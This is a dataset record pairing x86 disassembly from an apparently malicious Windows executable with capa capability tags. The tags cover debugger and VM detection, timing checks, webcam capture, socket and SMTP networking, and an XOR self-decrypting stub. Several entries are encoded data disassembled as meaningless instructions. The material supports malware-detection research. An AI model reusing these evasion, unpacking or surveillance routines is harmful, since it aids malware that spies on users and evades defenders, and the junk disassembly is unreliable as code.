joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4412a0
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x4412d3
push esi
call fcn.00444390
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x4412cc
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x441359
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x441342
mov eax, dword [esi + 8]
test eax, eax
je 0x4412f7
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x44133e
cmp eax, 2
je 0x441342
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x4412ea
cmp eax, 3
je 0x44131d
cmp eax, 1
jne 0x4412ea
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x4412ea
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x4412ea
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.00441380
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x441368
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.00441380
add esp, 4
pop esi
ret

Function at 0x44e820
Capabilities:
Capture webcam image

Disassembly:
mov eax, dword [esp + 8]
push ebx
push esi
mov esi, ecx
mov eax, dword [eax + 4]
cmp dword [esi + 0xec], 1
jne 0x44e8c3
test eax, eax
jbe 0x44e8c3
mov ecx, dword [esi + 0xbc]
test ecx, ecx
jle 0x44e8c3
mov ecx, dword [esi + 0x1c]
push edi
push 0
push eax
push 0x419
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
mov edi, eax
mov eax, dword [esi + 0xbc]
inc edi
test eax, eax
jne 0x44e86e
xor esi, esi
jmp 0x44e874
mov esi, dword [esi + 0xb4]
add esi, 4
xor ebx, ebx
test edi, edi
jbe 0x44e89f
push ebp
mov ebp, edi
add esi, 6
push esi
call fcn.004507b0
add esi, eax
push esi
mov ebx, esi
call fcn.004507b0
add esp, 8
add esi, eax
dec edi
dec ebp
jne 0x44e880
pop ebp
test edi, edi
pop edi
jne 0x44e8c3
test ebx, ebx
je 0x44e8c3
mov edx, dword [esp + 0x10]
push 0x4e
add edx, 0x10
push ebx
push edx
call fcn.0045dac0
add esp, 0xc
mov eax, 1
pop esi
pop ebx
ret 0xc
pop esi
xor eax, eax
pop ebx
ret 0xc
Function at 0x44ea05
Capabilities:
Capture webcam image

Disassembly:
sub esp, 0x44
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x44eb1d
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x44eb1d
mov eax, dword [esi + 0x3c]
push eax
call fcn.0046f32e
mov esi, eax
test esi, esi
je 0x44eb1d
mov ebx, dword [esp + 0x58]
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push ebx
push 0x419
push ecx
call ebp
mov edi, eax
test edi, edi
jl 0x44eb1d
mov ecx, esi
call fcn.0044e970
cmp edi, eax
jge 0x44eb1d
mov eax, dword [esi + 0xc4]
mov edx, dword [esi + 0xc0]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x5c]
xor ecx, ecx
mov dword [esp + 0x28], edx
cmp eax, ecx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x50], ecx
mov dword [esp + 0x38], edi
jne 0x44eaa3
mov dword [esp + 0x34], 1
jmp 0x44eafe
mov edx, dword [esi + 0x1c]
lea ecx, [esp + 0x18]
push ecx
push ebx
push 0x433
push edx
call ebp
test eax, eax
je 0x44eb1d
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x24]
mov dword [esp + 0x10], ecx
mov dword [eax], 0
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x10]
add edx, 2
push eax
push ecx
mov dword [esp + 0x1c], edx
call dword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x34], 3
mov dword [esp + 0x3c], edx
mov dword [esp + 0x40], eax
xor ecx, ecx
push ecx
lea ecx, [esp + 0x2c]
push ecx
push 0x7d8
call fcn.0044df70
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x44
ret 0xc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x44
ret 0xc

Function at 0x450920
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0xa0
push ebx
push ebp
mov ebp, dword [esp + 0xac]
push esi
push edi
push ebp
call sub.RASAPI32.dll_RasHangUpA
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x28
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], 0xa0
call esi
mov edi, eax
call esi
sub eax, edi
cmp eax, 0xbb8
jae 0x450986
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x10]
push eax
push ebp
call sub.RASAPI32.dll_RasGetConnectStatusA
cmp eax, 6
je 0x450986
push 0
call ebx
call esi
sub eax, edi
cmp eax, 0xbb8
jb 0x450967
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xa0
ret
Function at 0x4514c0
Capabilities:
Create tcp socket
Create udp socket
Set socket configuration

Disassembly:
push ecx
push esi
mov esi, ecx
call fcn.00451610
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov dword [esi], eax
cmp eax, 0xffffffff
pop esi
jne 0x4514e0
xor eax, eax
pop ecx
ret
lea ecx, [esp]
push 4
push ecx
push 0x1001
push 0xffff
push eax
mov dword [esp + 0x14], 0
call sub.WS2_32.dll_setsockopt
mov eax, 1
pop ecx
ret

Function at 0x4514c1
Capabilities:
Create tcp socket
Create udp socket
Set socket configuration

Disassembly:
push ecx
push esi
mov esi, ecx
call fcn.00451610
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov dword [esi], eax
cmp eax, 0xffffffff
pop esi
jne 0x4514e0
xor eax, eax
pop ecx
ret
lea ecx, [esp]
push 4
push ecx
push 0x1001
push 0xffff
push eax
mov dword [esp + 0x14], 0
call sub.WS2_32.dll_setsockopt
mov eax, 1
pop ecx
ret

Function at 0x451510
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x10
xor eax, eax
push esi
push edi
mov dword [esp + 8], eax
mov edi, ecx
mov dword [esp + 0xc], eax
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x10], eax
push ecx
mov dword [esp + 0x18], eax
mov word [esp + 0xc], 2
call sub.WS2_32.dll_htons
mov esi, dword [esp + 0x1c]
mov word [esp + 0xa], ax
push esi
call sub.WS2_32.dll_inet_addr
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x451567
push esi
call sub.WS2_32.dll_gethostbyname
test eax, eax
je 0x45157d
mov edx, dword [eax + 0xc]
mov eax, dword [edx]
mov ecx, dword [eax]
mov dword [esp + 0xc], ecx
lea edx, [esp + 8]
push 0x10
push edx
mov ecx, edi
call fcn.004515a0
pop edi
pop esi
add esp, 0x10
ret 8
push 0x2726
call sub.WS2_32.dll_WSASetLastError
pop edi
xor eax, eax
pop esi
add esp, 0x10
ret 8

Function at 0x4515a0
Capabilities:
Connect socket

Disassembly:
mov eax, dword [esp + 8]
mov edx, dword [esp + 4]
push eax
mov eax, dword [ecx]
push edx
push eax
call sub.WS2_32.dll_connect
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
ret 8

Function at 0x451630
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
mov eax, dword [ecx]
lea ecx, [esp]
push ecx
push 0
lea edx, [esp + 0x10]
push 0
push edx
push 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 1
call sub.WS2_32.dll_select
cmp eax, 0xffffffff
jne 0x451679
xor eax, eax
add esp, 0x10c
ret 4
mov edx, dword [esp + 0x110]
xor ecx, ecx
test eax, eax
setne cl
mov dword [edx], ecx
mov eax, 1
add esp, 0x10c
ret 4
Function at 0x451af0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x47e1b0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.004516a0
lea eax, [esp + 4]
lea ecx, [esi + 4]
push eax
mov dword [esp + 0x18], 0
call fcn.00451720
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
call fcn.00451720
lea ecx, [esi + 0xc]
call fcn.0046d83f
lea ecx, [esi + 0x10]
call fcn.0046d83f
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x1c]
call fcn.00453f50
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x30]
call fcn.00453f50
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x44]
call fcn.00453f50
lea ecx, [esp + 8]
mov dword [esp + 0x14], 1
call fcn.0046d8b4
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.0046d8b4
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret

Function at 0x452798
Capabilities:
Get hostname

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x47e3d8
push eax
mov dword fs:[0], esp
sub esp, 0x64
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 4]
test eax, eax
je 0x4527a8
call fcn.00452cc0
mov edi, dword [esp + 0x7c]
test edi, edi
je 0x45288b
cmp byte [edi], 0
je 0x45288b
mov eax, dword [esp + 0x8c]
test eax, eax
jg 0x4527cd
mov eax, 0x7d0
mov ecx, esi
mov dword [esi + 8], eax
call fcn.004514c0
test eax, eax
jne 0x4527ed
push 0x5aeed0
lea ecx, [esi + 0x38]
call fcn.0046da3d
jmp 0x45288b
mov eax, dword [esp + 0x80]
mov ecx, esi
push eax
push edi
call fcn.00451510
test eax, eax
jne 0x45281c
mov ecx, esi
call fcn.00451610
push edi
add esi, 0x38
push 0x5aeeac
push esi
call fcn.0046b1e7
add esp, 0xc
jmp 0x45288b
push 0xdc
mov ecx, esi
mov dword [esi + 4], 1
call fcn.00453540
test eax, eax
je 0x452884
lea ecx, [esp + 8]
push 0x64
push ecx
call sub.WS2_32.dll_gethostname
mov eax, dword [esp + 0x88]
mov ecx, dword [esp + 0x84]
lea edx, [esp + 0x8c]
mov dword [esp + 0x8c], 1
push edx
push eax
lea edx, [esp + 0x10]
push ecx
push edx
mov ecx, esi
call fcn.00452960
test eax, eax
jne 0x4528a0
push edi
lea eax, [esi + 0x38]
push 0x5aee88
push eax
call fcn.0046b1e7
add esp, 0xc
mov ecx, esi
call fcn.00452cc0
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x64]
mov dword fs:[0], ecx
add esp, 0x70
ret 0x14
mov eax, dword [esp + 0x8c]
test eax, eax
je 0x452948
mov ecx, dword [0x5af140]
mov dword [esp + 0x7c], ecx
lea edx, [esp + 8]
lea eax, [esp + 0x7c]
push edx
push str.HELO__s_r_n
push eax
mov dword [esp + 0x80], 0
call fcn.0046b1e7
mov edx, dword [esp + 0x88]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
mov ecx, esi
call fcn.004515c0
test eax, eax
jne 0x45290a
push 0x5aee6c
lea ecx, [esi + 0x38]
call fcn.0046da3d
jmp 0x45291a
push 0xfa
mov ecx, esi
call fcn.00453540
test eax, eax
jne 0x452937
mov ecx, esi
call fcn.00452cc0
lea ecx, [esp + 0x7c]
mov dword [esp + 0x74], 0xffffffff
call fcn.0046d8b4
jmp 0x45288b
lea ecx, [esp + 0x7c]
mov dword [esp + 0x74], 0xffffffff
call fcn.0046d8b4
mov ecx, dword [esp + 0x6c]
pop edi
mov eax, 1
pop esi
mov dword fs:[0], ecx
add esp, 0x70
ret 0x14
Function at 0x46fcd1
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x46fd09
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0046dd5b
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0046dd33
jmp 0x46fd15
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4713c3
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x471405
call fcn.00477165
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x471405
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4713fc
xor eax, eax
jmp 0x47140d
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00471413
pop edi
pop esi
pop ebx
ret 4

Function at 0x477695
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4776c3
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4776e1
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004775fb
jmp 0x4776e1
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4776e1
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004775fb
test edi, edi
mov eax, edi
jne 0x4776cb
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x428325
Capabilities:
Encode data using xor

Disassembly:
add byte [eax], al
and ah, byte [edx]
xor dword [edx], esp
xor al, byte [eax]
jae 0x42832f
add dword [ecx], edx
add byte [edx], dl
add byte [esi], al
adc byte [ecx], ah
adc byte [ecx], dh
add dword [eax], eax
sub esp, dword [edx]
xor byte [edx], al
sbb eax, dword [ebp - 0x68]
shl dword [0xc726004d], 0x25
and al, byte [ecx]
xor al, 0x80
and dword [ecx], eax

Function at 0x4297b3
Capabilities:
Encode data using xor

Disassembly:
cmp al, byte [eax - 0x7af9b3ab]
pushal
jg 0x4297ce
adc eax, dword [ebx]
add al, 0x12
and al, 0xf0
lahf
and dword [ebx], edx
push edx
and ah, byte [ebx]
and byte [ebx + esi], 0x43
and ah, byte [edx]
xor dl, byte [ecx + 0x60]
add byte ss:[edx + 0x34], dl
adc byte [ecx], dh
push ebp
xor esi, dword [edx]
xor al, byte [eax]
and dl, byte [ebx]
and ah, byte [0x22221411]
and byte [ebp + 0x34], 0x12
je 0x42980c
adc ah, byte [ebx]
xor byte [ebx], dl
xor ah, byte [ecx]
xor esi, dword [ecx]
inc esp
and al, 0x43
xor edx, dword [ebx]
lldt word [ebx]
add dword [edx], edx
push ebx
inc eax
add ah, byte [edx]
xor eax, dword [ebx - 0x3c]
and esp, dword [edx]
add byte [eax], al
and eax, 0x4c104713
dec esp
add dword [ecx], 0
xor dword [ebx + 0x31], esp
aaa
adc dh, byte [edx]
xor dh, byte [eax + eax]
and al, 0x31
popal
xor eax, dword [ebx + 0x13]
and esi, dword [edx]
sbb byte [ebx], ah
adc dword [ebx], edx
jne 0x429830
invalid
add dword [edx], eax
adc edx, dword [eax]
add al, byte [eax - 0x4fdffdea]
push edx
and dword [eax], eax
adc al, 0x20
push ebx
adc dword [eax + esi], esp
adc edx, dword [eax - 0x6fffcfe4]
bound edx, qword [ecx]
add dword [eax], eax
add esi, dword [eax]
adc byte [eax + 0x12], al
adc byte [edx], al
adc al, al
add dword es:[edx], esi
and byte [ebx + 2], dh
add ebp, dword [eax - 0x20]
push cs
add ebp, dword [edi]
add byte [ecx], dl
add dword [ebx], esp
xor dl, byte [ecx]
pop es
xor dword [eax], edx
or byte [eax], dl
adc al, byte [eax]
mov al, 0x11
and byte [edi], al
add ah, byte [eax]
add byte [ecx], dl
pop ss
add byte [eax + 0x11], al
adc al, byte [eax]
inc esp
add al, byte [eax - 0x50]
push eax
add byte [edx], ah
and byte [edx], al
add byte [edi], dh
add al, 0x13
add al, byte [eax + 0x18]
add byte [eax], dl
adc byte [ecx], al
add dl, byte [eax + 0x1410231]
mov al, byte [0x7502005f]
or dword [0x884f25f1], eax
mov ah, 1
and ah, byte [ebx]
and al, byte [edx - 0x80]
and al, byte [edx]
adc dword [edx], eax
push ebp
and ah, byte [eax]
ror byte [ebp + 0x22202040], 1
and al, byte [edx]
push edx
inc eax
adc ch, byte es:[eax]
and byte [edx], ah
popal
mov al, 4

Function at 0x43cf5a
Capabilities:
Encode data using xor

Disassembly:
xor dword [eax], eax
and dword [ebp + 8], eax
push edi
push 8
pop ecx
mov edi, 0x4556ac80
add bl, dh
stosd dword es:[edi], eax
stosb byte es:[edi], al
sal dword [eax], cl
xor byte [esi - 0x18], dl
xchg esi, eax
mov eax, 0xcf402630
or byte [esi + 0x18], dl
call 0x2e748738
jno 0x43cf60
call 0x4c0e80
add byte [edi - 0x30], bl
xchg edx, eax
and eax, 3
dec eax
and byte [eax + 0x75], cl
add eax, 0x6b209de8
call 0x849333
rol byte [0x70e85600], 0x80
add eax, 0x41211241
push es
out 0x5d, eax
invalid
Function at 0x4579b0
Capabilities:
Check for vm using instruction vpcext

Disassembly:
aaa
inc ebp
aaa
popal
aaa
push 0xc1377237
aaa
sal byte [edi], 1
jecxz 0x4579f6
div byte [edi]
sub bh, byte [eax]
xor dword [eax], edi
push 0x8a388338
cmp byte [esi - 0x41c751c8], bl
cmp dh, cl
cmp dh, bl
cmp dh, ch
cmp dh, bh
cmp byte [ecx], dl
cmp dword [ecx], esp
cmp dword [ecx + edi], esi
inc esp
cmp dword [edi + 0x39], edx
cmp dword [si + 0x39], esi
cmp dword [ecx], 0x39a9399c
mov dh, 0x39
sar byte [ecx], 0xcc
cmp ebx, esp
cmp edx, ebp
cmp edx, esi
cmp edi, edi
cmp dword [eax], ecx
cmp dl, byte [edx + edi]
and al, 0x3a
sub eax, 0x3f3a343a
cmp al, byte [esi + 0x3a]
push edi
cmp ah, byte [eax + 0x3a]
ja 0x457a49
nop
cmp bl, byte [ebx - 0x55c55bc6]
cmp dh, byte [ebx - 0x1bc525c6]
cmp ch, dl
cmp dl, byte [edi]
cmp esp, dword [0x603b4e3b]
cmp esp, dword [esi + 0x3b]
je 0x457a66
jp 0x457a68
test dword [ebx], edi
xchg esp, eax
cmp ebx, dword [edi - 0x4dc458c5]
cmp esi, dword [edi - 0x32c43ec5]
cmp edx, edx
cmp ebx, eax
cmp esp, ebx
cmp eax, dword [ebx]
cmp al, 0x15
cmp al, 0x1b
cmp al, 0x23
cmp al, 0x47
and edi, dword [edi + eax*2]
cmp al, 0x51
cmp al, 0x57
cmp al, 0x84
cmp al, 0x92
cmp al, 0xbb
cmp al, 0xcd
cmp al, 0xd3
cmp al, 0xe1
cmp al, 0xe7
cmp al, 0xf2
cmp al, 0xff
cmp al, 7
cmp eax, 0x3d173d0e
push ds
cmp eax, 0x3d473d34
popal
cmp eax, 0x3d1e3d17
xor al, 0x3d
cmp eax, 0x3d343d1e
inc edi
cmp eax, 0x3d653d61
cmp eax, 0x3d693d65
insd dword es:[edi], dx
cmp eax, 0x3d753d71
jns 0x457aba

Function at 0x457a70
Capabilities:
Check for vm using instruction vpcext

Disassembly:
aaa
inc ebp
aaa
popal
aaa
push 0xc1377237
aaa
sal byte [edi], 1
jecxz 0x4579f6
div byte [edi]
sub bh, byte [eax]
xor dword [eax], edi
push 0x8a388338
cmp byte [esi - 0x41c751c8], bl
cmp dh, cl
cmp dh, bl
cmp dh, ch
cmp dh, bh
cmp byte [ecx], dl
cmp dword [ecx], esp
cmp dword [ecx + edi], esi
inc esp
cmp dword [edi + 0x39], edx
cmp dword [si + 0x39], esi
cmp dword [ecx], 0x39a9399c
mov dh, 0x39
sar byte [ecx], 0xcc
cmp ebx, esp
cmp edx, ebp
cmp edx, esi
cmp edi, edi
cmp dword [eax], ecx
cmp dl, byte [edx + edi]
and al, 0x3a
sub eax, 0x3f3a343a
cmp al, byte [esi + 0x3a]
push edi
cmp ah, byte [eax + 0x3a]
ja 0x457a49
nop
cmp bl, byte [ebx - 0x55c55bc6]
cmp dh, byte [ebx - 0x1bc525c6]
cmp ch, dl
cmp dl, byte [edi]
cmp esp, dword [0x603b4e3b]
cmp esp, dword [esi + 0x3b]
je 0x457a66
jp 0x457a68
test dword [ebx], edi
xchg esp, eax
cmp ebx, dword [edi - 0x4dc458c5]
cmp esi, dword [edi - 0x32c43ec5]
cmp edx, edx
cmp ebx, eax
cmp esp, ebx
cmp eax, dword [ebx]
cmp al, 0x15
cmp al, 0x1b
cmp al, 0x23
cmp al, 0x47
and edi, dword [edi + eax*2]
cmp al, 0x51
cmp al, 0x57
cmp al, 0x84
cmp al, 0x92
cmp al, 0xbb
cmp al, 0xcd
cmp al, 0xd3
cmp al, 0xe1
cmp al, 0xe7
cmp al, 0xf2
cmp al, 0xff
cmp al, 7
cmp eax, 0x3d173d0e
push ds
cmp eax, 0x3d473d34
popal
cmp eax, 0x3d1e3d17
xor al, 0x3d
cmp eax, 0x3d343d1e
inc edi
cmp eax, 0x3d653d61
cmp eax, 0x3d693d65
insd dword es:[edi], dx
cmp eax, 0x3d753d71
jns 0x457aba
Function at 0x4591c0
Capabilities:
Encode data using xor

Disassembly:
add byte [esp + esi], bh
inc eax
xor al, 0x44
xor al, 0x48
xor al, 0
dec esp
xor al, 0x50
xor al, 0x54
xor al, 0x58
xor al, 2
pop esp
inc eax
cwde
xor al, 0x68
xor al, 0x6c
xor al, 0
jo 0x459213
xor al, 0x74
xor al, 0x78
xor al, 0x7c
xor al, 0
xor byte [esp + eax*4], 0x34
mov byte [esp + ecx*4], dh
je 0x459215
js 0x459217
jl 0x459219
add byte [eax - 0x77cb7bcc], al
xor al, 0x8c
xor al, 0
nop
xor al, 0x94
xor al, 0x98
xor al, 0x9c
xor al, 0
mov al, byte [0xa834a434]
xor al, 0xac
xor al, 0
mov al, 0x34
mov ah, 0x34
mov eax, 0x34bc34
sal byte [esp + eax*8], 0x34
enter 0xffffffffffffcc34, 0x34
add al, dl
xor al, 0xd4
sal byte [esp + edx*8], 1
aam 0x34
xor al, 0xd8
xor al, 0xdc
fdiv dword [esp + ebx*8]
fdiv qword [edx + eax]
xor al, 2
loopne 0x4591de
movsd dword es:[edi], dword [esi]
call 0xf07a7e58
xor al, 0
hlt

Function at 0x46dd70
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4b35fa
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x4e8260]
xor eax, esp
push eax
lea eax, [esp + 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 8], esi
mov dword [esi], 0x4c7e6c
lea ecx, [esi + 0x34]
mov dword [esp + 0x14], 6
call fcn.00469230
lea ecx, [esi + 0x30]
mov byte [esp + 0x14], 5
call fcn.00483330
lea ecx, [esi + 0x2c]
mov byte [esp + 0x14], 4
call fcn.00469230
lea ecx, [esi + 0x28]
mov byte [esp + 0x14], 3
call fcn.00483330
lea ecx, [esi + 0x24]
mov byte [esp + 0x14], 2
call fcn.00483330
lea ecx, [esi + 0x14]
mov byte [esp + 0x14], 1
call fcn.00483330
lea ecx, [esi + 4]
mov byte [esp + 0x14], 0
call fcn.00483330
mov ecx, esi
mov dword [esp + 0x14], 0xffffffff
call fcn.0045f970
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x10
ret
Function at 0x479b80
Capabilities:
Encode data using xor

Disassembly:
xor dword [esi + esi + 0x38], eax
xor al, 0xac
xor esi, dword [edi]
sal dword [ecx - 0x13], 0x53
clc
rcr byte [edi + 0x60], 0xc0
pop ds
or ecx, ebp
push ebp
inc eax
inc ebx
jecxz 0x479bc4
inc edx
inc esp
inc ebp
add byte [ecx], dh
sub eax, 0x34413939
sub eax, 0x46430034
xor dword [0x34344238], ebp
add byte [0x38383836], ch
cmp dword [ecx], edi
xor byte [eax + 0x30], ah
inc ebp
xor dword [eax + esi - 0x10], eax
push ebp
shr dword [ebx], 0x10
arpl ax, ax
pop ds
lds ebp, [ebx]
les ecx, [ecx + 0x1e]
rcr byte [edi], 0xc5
sub eax, esp
dec ecx
push ds
fild qword [ebx + 0x382be3]
xor eax, 0x46383833
sub eax, 0x30403531
xor byte [0xc0443131], ch
push edi
xor byte [eax], al
inc esp
inc esi
sub eax, 0x30433030
xor al, 0x40
inc esi
inc ebx
cmp dword [ebp + 0x32], eax
xor ch, dh
push edi
rcl byte [ebx], 0xc8
sub esp, ecx
and dword [eax + 0x7b2bff44], 0x34
inc ebx
and byte [ebx + 0x30], al
inc esi
inc ecx
inc esi
loopne 0x479c84
xor byte [eax + eax], dh
cmp byte [0x43313234], ch
add byte [eax], bh
sub eax, 0x43313234
sub eax, 0x45466039
xor ch, byte [0xe041e032]
inc esp
inc ebp
mov eax, 0xff384635
sub ebp, edi
imul esp, ecx, 0x2b
jo 0x479c0c
setno ch
sub eax, dword [esi + 0x6cfe472f]
push eax
inc ebp
call dword [0x4515e001]
inc edx
inc edx
inc ebx
inc edx
sub eax, 0x45433580
inc ebp
sub eax, 0x41403634
add byte [eax], bh
xor byte [ebx + 0x46], al
sub eax, 0x393833
cmp byte [eax], dh
inc edx
inc ecx
inc ebp
cmp dword [ebx], esi
inc esi
outsb dx, byte [esi]
inc dword ss:[ecx - 0x12]
and ecx, 0xfe02015
in eax, 0x15
mov byte [0xbbcb2c0], al
insb byte es:[edi], dx
pop ebx
leave
inc ecx
mov dh, dh
cmpsb byte [esi], byte es:[edi]
pushal
add byte [esi + 1], al
add byte [eax + 0x5f4089a0], cl
inc dword [edi]
or byte [edx - 0x5910ff80], 0x43
inc ebp
inc ebx
inc ebx
inc ebp
mov byte [0x3356a042], al
inc edx
mov al, byte [0x39353356]
loope 0x479cd9
xor al, ah
insd dword es:[edi], dx
add al, 0x34
inc ebp
loopne 0x479ce1
adc eax, 0x1c354246
xor bh, byte [eax]
mov al, byte [0xe029a0ad]
ret
loope 0x479d19
in al, 0x15
xchg esp, eax
push esi
dec esi
invalid
xor dh, byte [0x32396046]
xor dword [0xe06cc042], ebp
push edi
cmp byte [eax], ah
xor ch, byte [0xc0374642]
sub eax, 0x38004241
xor dh, byte [ecx]
xor byte [esi + esi + 0x44], al
aaa
div byte [0x41f241ff]
loopne 0x479d3a
or bh, bh
adc ebp, dword ss:[edx]
loopne 0x479d55
sub esp, dword [edx]
add cl, dh
and al, al
dec dword [edx]
add bh, bh
sub eax, dword [ebx + esi]
xor eax, dword [eax]
xor eax, dword [ecx + 0x32]
inc edx
xor ebp, dword [0x46044243]
inc esi
invalid
Function at 0x479ca0
Capabilities:
Encode data using xor

Disassembly:
inc ecx
inc ecx
xor byte [eax], dh
inc edx
pushal
inc esp
inc ebx
inc esp
inc esi
inc esp
call dword [0xafd015f2]
call dword [0x13e1ba62]
add dword [ecx], ebx
mov al, 0xff
adc eax, 0xf12be100
loope 0x479cd7
xor ch, byte [0xff15ff38]
lodsd eax, dword [esi]
out 0xad, al
loope 0x479cf8
push cs
and cl, 0xf
adc byte [ecx], 0xe1
shr ah, cl
mov ecx, 0xfd19d2d5
aad 0xd2
sbb ebp, edi
sub esp, dword [eax + 0x47]
jmp [ebx]
xor dword [ebx], esi
inc ebp
rol byte [edx + 0x46], 0x32
aaa
inc esi
xor edi, edi
sub esi, ebx
push edi
inc esi
xor cl, ah
pmulhuw mm2, qword [0xfe4e5694]
push edi
adc byte [edx], al
dec eax
call dword [edi + 0x7b]
xor al, 0x44

Function at 0x4837f0
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
xor al, 0x34
add dword [eax - 0x51], 0x34313839
sub eax, 0x6859c033